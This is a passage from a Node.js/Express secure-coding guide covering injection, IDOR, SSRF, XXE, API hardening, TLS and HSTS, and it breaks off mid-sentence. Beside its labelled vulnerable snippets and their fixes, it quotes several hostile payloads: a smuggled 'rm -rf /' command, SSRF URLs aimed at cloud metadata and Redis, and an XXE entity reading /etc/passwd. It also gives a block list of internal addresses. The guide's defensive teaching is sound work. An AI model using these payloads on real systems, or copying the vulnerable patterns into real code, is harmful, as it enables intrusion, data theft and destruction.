if (typeof username !== 'string' || typeof password !== 'string') {
return res.status(400).json({ error: 'Invalid input' });
}
const user = await db.collection('users').findOne({
username: username,
password: password // Should be hashed!
});
if (user) {
res.json({ success: true });
}
});
// โ
BETTER - Using Mongoose with schema validation
const userSchema = new mongoose.Schema({
username: { type: String, required: true },
password: { type: String, required: true }
});
const User = mongoose.model('User', userSchema);
app.post('/login', async (req, res) => {
const { username, password } = req.body;
const user = await User.findOne({ username, password });
// Mongoose automatically sanitizes
});
Sanitization Library:
const mongoSanitize = require('express-mongo-sanitize');
// Sanitize all user input
app.use(mongoSanitize({
replaceWith: '_',
onSanitize: ({ req, key }) => {
console.warn(`Sanitized ${key} in ${req.path}`);
}
}));
// Or manually sanitize
const sanitize = require('mongo-sanitize');
app.post('/search', async (req, res) => {
const query = sanitize(req.body.query);
const results = await db.collection('posts').find({ title: query });
res.json(results);
});
Command Injectionโ
What It Is:
// โ VULNERABLE
const { exec } = require('child_process');
app.get('/ping', (req, res) => {
const host = req.query.host;
// Attack: host = "google.com; rm -rf /"
exec(`ping -c 4 ${host}`, (err, stdout) => {
res.send(stdout);
});
});
Prevention:
// โ
SAFE - Use parameterized execution
const { execFile } = require('child_process');
app.get('/ping', (req, res) => {
const host = req.query.host;
// Validate hostname
if (!/^[a-zA-Z0-9.-]+$/.test(host)) {
return res.status(400).json({ error: 'Invalid hostname' });
}
// execFile doesn't invoke shell
execFile('ping', ['-c', '4', host], (err, stdout) => {
if (err) {
return res.status(500).json({ error: 'Ping failed' });
}
res.send(stdout);
});
});
// โ
BETTER - Avoid executing external commands
// Use native libraries instead
const ping = require('ping');
app.get('/ping', async (req, res) => {
const host = req.query.host;
try {
const result = await ping.promise.probe(host, {
timeout: 10
});
res.json(result);
} catch (err) {
res.status(500).json({ error: 'Ping failed' });
}
});
Insecure Direct Object References (IDOR)โ
Vulnerable Example:
// โ VULNERABLE - No authorization check
app.get('/api/orders/:id', authenticateToken, async (req, res) => {
const order = await db.query('SELECT * FROM orders WHERE id = ?', [req.params.id]);
// Anyone authenticated can view any order!
res.json(order);
});
// Attack: User changes URL from /api/orders/123 to /api/orders/124
Prevention:
// โ
SAFE - Verify ownership
app.get('/api/orders/:id', authenticateToken, async (req, res) => {
const order = await db.query(
'SELECT * FROM orders WHERE id = ? AND user_id = ?',
[req.params.id, req.user.id]
);
if (!order) {
return res.status(404).json({ error: 'Order not found' });
}
res.json(order);
});
// โ
SAFE - Reusable authorization middleware
async function authorizeResource(resourceType) {
return async (req, res, next) => {
const resourceId = req.params.id;
const userId = req.user.id;
const resource = await getResource(resourceType, resourceId);
if (!resource) {
return res.status(404).json({ error: 'Resource not found' });
}
// Check ownership
if (resource.userId !== userId && req.user.role !== 'admin') {
return res.status(403).json({ error: 'Forbidden' });
}
req.resource = resource;
next();
};
}
app.get('/api/orders/:id',
authenticateToken,
authorizeResource('order'),
(req, res) => {
res.json(req.resource);
}
);
app.delete('/api/documents/:id',
authenticateToken,
authorizeResource('document'),
async (req, res) => {
await deleteDocument(req.params.id);
res.json({ success: true });
}
);
Use UUIDs Instead of Sequential IDs:
// โ Predictable IDs
// Orders: 1, 2, 3, 4, 5... (easy to enumerate)
// โ
UUIDs
const { v4: uuidv4 } = require('uuid');
const orderId = uuidv4(); // e.g., "550e8400-e29b-41d4-a716-446655440000"
// Still need authorization checks, but harder to enumerate
Server-Side Request Forgery (SSRF)โ
Vulnerable Example:
// โ VULNERABLE
app.get('/fetch-url', async (req, res) => {
const url = req.query.url;
// Attack: url = "http://169.254.169.254/latest/meta-data/" (AWS metadata)
// Attack: url = "http://localhost:6379/" (Redis)
const response = await axios.get(url);
res.send(response.data);
});
Prevention:
const axios = require('axios');
const { URL } = require('url');
// Whitelist of allowed domains
const ALLOWED_DOMAINS = ['api.example.com', 'cdn.example.com'];
// Blacklist of dangerous hosts/IPs
const BLOCKED_HOSTS = [
'localhost',
'127.0.0.1',
'0.0.0.0',
'169.254.169.254', // AWS metadata
'169.254.169.253',
'[::1]', // IPv6 localhost
'[0:0:0:0:0:0:0:1]'
];
const BLOCKED_IP_RANGES = [
/^10\./, // Private network
/^172\.(1[6-9]|2[0-9]|3[0-1])\./, // Private network
/^192\.168\./, // Private network
/^127\./, // Loopback
/^169\.254\./ // Link-local
];
function isUrlSafe(urlString) {
try {
const url = new URL(urlString);
// Only allow HTTP/HTTPS
if (!['http:', 'https:'].includes(url.protocol)) {
return false;
}
// Check whitelist
if (!ALLOWED_DOMAINS.some(domain => url.hostname.endsWith(domain))) {
return false;
}
// Check blacklist
if (BLOCKED_HOSTS.includes(url.hostname.toLowerCase())) {
return false;
}
// Check IP ranges
if (BLOCKED_IP_RANGES.some(pattern => pattern.test(url.hostname))) {
return false;
}
return true;
} catch (err) {
return false;
}
}
// โ
SAFE
app.get('/fetch-url', async (req, res) => {
const url = req.query.url;
if (!isUrlSafe(url)) {
return res.status(400).json({ error: 'Invalid or forbidden URL' });
}
try {
const response = await axios.get(url, {
timeout: 5000,
maxRedirects: 0, // Disable redirects
validateStatus: status => status === 200
});
res.send(response.data);
} catch (err) {
res.status(500).json({ error: 'Failed to fetch URL' });
}
});
XML External Entity (XXE)โ
Vulnerable Example:
// โ VULNERABLE
const libxmljs = require('libxmljs');
app.post('/parse-xml', (req, res) => {
const xml = req.body.xml;
// Attack XML:
// <?xml version="1.0"?>
// <!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
// <data>&xxe;</data>
const doc = libxmljs.parseXml(xml);
res.send(doc.toString());
});
Prevention:
// โ
SAFE - Disable external entities
const libxmljs = require('libxmljs');
app.post('/parse-xml', (req, res) => {
const xml = req.body.xml;
try {
const doc = libxmljs.parseXml(xml, {
noent: false, // Don't substitute entities
nonet: true, // Don't fetch external resources
dtdload: false, // Don't load external DTD
dtdvalid: false // Don't validate against DTD
});
res.send(doc.toString());
} catch (err) {
res.status(400).json({ error: 'Invalid XML' });
}
});
// โ
BETTER - Use JSON instead of XML when possible
app.post('/parse-data', express.json(), (req, res) => {
// JSON doesn't have XXE vulnerabilities
const data = req.body;
res.json(data);
});
API Security Best Practicesโ
Rate Limiting:
const rateLimit = require('express-rate-limit');
const RedisStore = require('rate-limit-redis');
// General API rate limit
const apiLimiter = rateLimit({
store: new RedisStore({
client: redisClient,
prefix: 'rl:api:'
}),
windowMs: 15 * 60 * 1000, // 15 minutes
max: 100, // 100 requests per window
standardHeaders: true,
legacyHeaders: false,
message: { error: 'Too many requests, please try again later' }
});
app.use('/api/', apiLimiter);
// Stricter limit for authentication endpoints
const authLimiter = rateLimit({
windowMs: 15 * 60 * 1000,
max: 5,
skipSuccessfulRequests: true
});
app.post('/api/login', authLimiter, loginHandler);
// Per-user rate limiting
const createUserLimiter = () => rateLimit({
windowMs: 60 * 1000, // 1 minute
max: 10,
keyGenerator: (req) => req.user?.id || req.ip,
skip: (req) => req.user?.role === 'admin'
});
app.post('/api/posts', authenticateToken, createUserLimiter(), createPost);
API Versioning:
// URL versioning
app.use('/api/v1', v1Router);
app.use('/api/v2', v2Router);
// Header versioning
app.use((req, res, next) => {
const version = req.headers['api-version'] || '1';
req.apiVersion = version;
next();
});
// Deprecation warnings
app.use('/api/v1', (req, res, next) => {
res.set('Warning', '299 - "API v1 is deprecated, please use v2"');
res.set('Sunset', 'Sat, 31 Dec 2025 23:59:59 GMT');
next();
});
Request Validation:
const { body, param, query, validationResult } = require('express-validator');
const validateRequest = (req, res, next) => {
const errors = validationResult(req);
if (!errors.isEmpty()) {
return res.status(400).json({ errors: errors.array() });
}
next();
};
app.post('/api/users',
[
body('email').isEmail().normalizeEmail(),
body('password').isLength({ min: 12 }),
body('age').optional().isInt({ min: 13, max: 120 }),
validateRequest
],
createUser
);
app.get('/api/users/:id',
[
param('id').isUUID(),
validateRequest
],
getUser
);
app.get('/api/posts',
[
query('page').optional().isInt({ min: 1 }),
query('limit').optional().isInt({ min: 1, max: 100 }),
query('sort').optional().isIn(['asc', 'desc']),
validateRequest
],
getPosts
);
API Authentication:
// API Key authentication
const API_KEYS = new Map(); // In production, use database
function authenticateAPIKey(req, res, next) {
const apiKey = req.headers['x-api-key'];
if (!apiKey) {
return res.status(401).json({ error: 'API key required' });
}
const keyData = API_KEYS.get(apiKey);
if (!keyData || keyData.expiresAt < Date.now()) {
return res.status(401).json({ error: 'Invalid or expired API key' });
}
req.apiKeyData = keyData;
next();
}
// Generate API keys
function generateAPIKey() {
return crypto.randomBytes(32).toString('base64url');
}
app.post('/api/keys/generate', authenticateToken, async (req, res) => {
const apiKey = generateAPIKey();
const expiresAt = Date.now() + (365 * 24 * 60 * 60 * 1000); // 1 year
await db.query(
'INSERT INTO api_keys (key_hash, user_id, expires_at) VALUES (?, ?, ?)',
[hashAPIKey(apiKey), req.user.id, expiresAt]
);
// Return key only once
res.json({
apiKey: apiKey,
expiresAt: expiresAt,
warning: 'Store this key securely. It will not be shown again.'
});
});
function hashAPIKey(key) {
return crypto.createHash('sha256').update(key).digest('hex');
}
Response Security:
// Don't leak sensitive info in responses
app.use((err, req, res, next) => {
console.error(err); // Log full error server-side
// Send generic error to client
res.status(err.status || 500).json({
error: process.env.NODE_ENV === 'production'
? 'An error occurred'
: err.message
});
});
// Remove sensitive fields
function sanitizeUser(user) {
const { password, passwordResetToken, mfaSecret, ...safe } = user;
return safe;
}
app.get('/api/users/:id', async (req, res) => {
const user = await getUserById(req.params.id);
res.json(sanitizeUser(user));
});
// Set proper content type
app.use((req, res, next) => {
res.type('application/json');
next();
});
7. Transport & Network Securityโ
HTTPS & TLSโ
Why HTTPS:
- Encryption: Protects data in transit
- Authentication: Verifies server identity
- Integrity: Prevents tampering
TLS Configuration (Node.js):
const https = require('https');
const fs = require('fs');
const options = {
key: fs.readFileSync('/path/to/private-key.pem'),
cert: fs.readFileSync('/path/to/certificate.pem'),
ca: fs.readFileSync('/path/to/ca-certificate.pem'),
// Security settings
minVersion: 'TLSv1.2',
maxVersion: 'TLSv1.3',
ciphers: [
'ECDHE-ECDSA-AES128-GCM-SHA256',
'ECDHE-RSA-AES128-GCM-SHA256',
'ECDHE-ECDSA-AES256-GCM-SHA384',
'ECDHE-RSA-AES256-GCM-SHA384',
'ECDHE-ECDSA-CHACHA20-POLY1305',
'ECDHE-RSA-CHACHA20-POLY1305'
].join(':'),
honorCipherOrder: true,
// Disable insecure renegotiation
secureOptions: crypto.constants.SSL_OP_NO_RENEGOTIATION
};
https.createServer(options, app).listen(443);
Nginx TLS Configuration:
server {
listen 443 ssl http2;
server_name example.com;
# Certificates
ssl_certificate /path/to/fullchain.pem;
ssl_certificate_key /path/to/privkey.pem;
# TLS versions
ssl_protocols TLSv1.2 TLSv1.3;
# Ciphers
ssl_ciphers 'ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES128-GCM-SHA256:ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-CHACHA20-POLY1305:ECDHE-RSA-CHACHA20-POLY1305';
ssl_prefer_server_ciphers off;
# Performance
ssl_session_cache shared:SSL:10m;
ssl_session_timeout 10m;
ssl_session_tickets off;
# OCSP Stapling
ssl_stapling on;
ssl_stapling_verify on;
ssl_trusted_certificate /path/to/chain.pem;
# Security headers
add_header Strict-Transport-Security "max-age=63072000; includeSubDomains; preload" always;
location / {
proxy_pass http://localhost:3000;
}
}
# Redirect HTTP to HTTPS
server {
listen 80;
server_name example.com;
return 301 https://$server_name$request_uri;
}
Certificate Managementโ
Let's Encrypt with Certbot:
# Install certbot
sudo apt-get install certbot python3-certbot-nginx
# Obtain certificate
sudo certbot --nginx -d example.com -d www.example.com
# Auto-renewal (runs twice daily)
sudo certbot renew --dry-run
# Renewal hook
sudo certbot renew --deploy-hook "systemctl reload nginx"
Automated Renewal (Cron):
# /etc/cron.d/certbot
0 */12 * * * root certbot renew --quiet --deploy-hook "systemctl reload nginx"
Certificate Monitoring:
const https = require('https');
const tls = require('tls');
async function checkCertificateExpiry(hostname) {
return new Promise((resolve, reject) => {
const socket = tls.connect(443, hostname, () => {
const cert = socket.getPeerCertificate();
if (!socket.authorized) {
reject(new Error('Certificate not authorized'));
}
const daysUntilExpiry = Math.floor(
(new Date(cert.valid_to) - new Date()) / (1000 * 60 * 60 * 24)
);
socket.end();
resolve({
hostname,
issuer: cert.issuer.O,
validFrom: cert.valid_from,
validTo: cert.valid_to,
daysUntilExpiry
});
});
socket.on('error', reject);
});
}
// Alert if certificate expires soon
const domains = ['example.com', 'api.example.com'];
setInterval(async () => {
for (const domain of domains) {
const cert = await checkCertificateExpiry(domain);
if (cert.daysUntilExpiry < 30) {
console.warn(`Certificate for ${domain} expires in ${cert.daysUntilExpiry} days!`);
// Send alert
}
}
}, 24 * 60 * 60 * 1000); // Check daily
HTTP Strict Transport Security (HSTS)โ
Header Configuration:
// Express
app.use((req, res, next) => {
res.setHeader(
'Strict-Transport-Security',
'max-age=63072000; includeSubDomains; preload'
);
next();
});
// Or use Helmet
const helmet = require('helmet');
app.use(helmet.hsts({
maxAge: 63072000, // 2 years
includeSubDomains: true,
preload: true
}));
HSTS Preload:
- Set header with `